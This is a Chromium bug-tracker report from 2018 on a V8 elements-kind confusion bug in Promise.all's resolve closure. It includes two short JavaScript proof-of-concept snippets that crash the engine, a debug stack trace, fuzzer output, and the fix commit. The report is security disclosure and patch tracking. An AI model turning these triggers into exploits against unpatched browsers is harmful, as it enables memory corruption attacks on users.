Security: V8: PromiseAllResolveElementClosure can cause elements kind confusion |
|||||||
Issue descriptionThe Promise.all method internally uses PromiseAllResolveElementClosure (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1910) as a resolver for each of given Promise objects to insert a value into the result array at a specific index. PromiseAllResolveElementClosure first tries to grow the capacity of the result array, and if it fails due to the index being too large, it uses the CreateDataProperty method to insert the value. The problem is, the growing operation (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1933) always excepts the elements kind of the array to be PACKED_ELEMENTS despite the CreateDataProperty can transition it to DICTIONARY_ELEMENTS. PoC with comments: let arr = new Array(0x10000); let resolve_element_closures = new Array(0x10000); for (let i = 0; i < arr.length; i++) { arr[i] = new Promise(() => {}); arr[i].then = ((idx, resolve) => { resolve_element_closures[idx] = resolve; }).bind(null, i); } Promise.all(arr); // 0xffff is too large, transitions to DICTIONARY_ELEMENTS resolve_element_closures[0xffff](); // grows the capacity, the elements kind of the result array is still DICTIONARY_ELEMENTS, but the elements object of it is no more a dictionary. resolve_element_closures[100](); // You can observe that V8 crashes here in debug mode. resolve_element_closures[0xfffe](); PoC for release mode: var promise = new Promise(() => {}) promise.then = function (cb) { cb(); }; let arr = new Array(0x10000); arr.fill(0); arr[arr.length - 1] = promise; Promise.all(arr); Crash log: # # Fatal error in ../../src/objects-inl.h, line 2814 # Debug check failed: fixed_array->IsDictionary(). # # # #FailureMessage Object: 0x7f122141d860 ==== C stack trace =============================== ./d8(__interceptor_backtrace+0x61) [0x561ea9b7c0e1] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f122c26dcee] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libplatform.so(+0x6b924) [0x7f122c19f924] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x3a4) [0x7f122c2351e4] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(+0x557e7) [0x7f122c2347e7] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x32) [0x7f122c235332] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::GetElementsKind()+0x25b) [0x7f12280f7f6b] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::GetElementsAccessor()+0x15) [0x7f122a146185] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::State v8::internal::LookupIterator::LookupInRegularHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x20e) [0x7f122a02082e] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::State v8::internal::LookupIterator::LookupInHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x5c) [0x7f122a01b90c] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(void v8::internal::LookupIterator::Start<true>()+0x212) [0x7f122a01b772] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::LookupIterator(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::LookupIterator::Configuration)+0x6da) [0x7f1227c8151a] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::LookupIterator(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::LookupIterator::Configuration)+0x2ee) [0x7f1227c8073e] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::PropertyOrElement(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, bool*, v8::internal::LookupIterator::Configuration)+0x547) [0x7f122a007d07] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(+0x4833085) [0x7f122a9a8085] /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::Runtime_CreateDataProperty(int, v8::internal::Object**, v8::internal::Isolate*)+0x30f) [0x7f122a9a6f2f] [0x7efc88a04584] This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public.
,
Mar 9 2018
Detailed report: https://clusterfuzz.com/testcase?key=5091256498388992 Job Type: linux_asan_chrome_mp Platform Id: linux Crash Type: UNKNOWN READ Crash Address: 0x7edfd051b530 Crash State: v8::internal::HashTable<v8::internal::NumberDictionary, v8::internal::NumberDict void v8::internal::LookupIterator::Start<true> v8::internal::LookupIterator::PropertyOrElement Sanitizer: address (ASAN) Recommended Security Severity: Medium Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5091256498388992 See https://github.com/google/clusterfuzz-tools for more information. Note: This crash might not be reproducible with the provided testcase. That said, for the past 14 days we've been seeing this crash frequently. If you are unable to reproduce this, please try a speculative fix based on the crash stacktrace in the report. The fix can be verified by looking at the crash statistics in the report, a day after the fix is deployed. We will auto-close the bug if the crash is not seen for 14 days. The recommended severity is different from what was assigned to the bug. Please double check the accuracy of the assigned severity.
,
Mar 9 2018
,
Mar 9 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/fd29e1d8415b73f4000646c31d1792b60cef8e96 commit fd29e1d8415b73f4000646c31d1792b60cef8e96 Author: Benedikt Meurer <bmeurer@chromium.org> Date: Fri Mar 09 14:25:34 2018 [builtins] Properly handle DICTIONARY_ELEMENTS in Promise.all closures. Bug: chromium:820312 Change-Id: Ie9237a5c53ac7121e469af460a2f0ad5016d9d03 Reviewed-on: https://chromium-review.googlesource.com/957090 Commit-Queue: Benedikt Meurer <bmeurer@chromium.org> Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org> Cr-Commit-Position: refs/heads/master@{#51844} [modify] https://crrev.com/fd29e1d8415b73f4000646c31d1792b60cef8e96/src/builtins/builtins-promise-gen.cc [add] https://crrev.com/fd29e1d8415b73f4000646c31d1792b60cef8e96/test/mjsunit/regress/regress-crbug-820312.js
,
Mar 9 2018
,
Mar 9 2018
,
Mar 10 2018
,
Mar 12 2018
Issue 820823 has been merged into this issue.
,
Mar 12 2018
ClusterFuzz testcase 5719532635947008 is verified as fixed, so closing issue as verified. If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.
,
Mar 12 2018
,
Jun 16 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||
►
Sign in to add a comment |
|||||||
Comment 1 by ClusterFuzz
, Mar 9 2018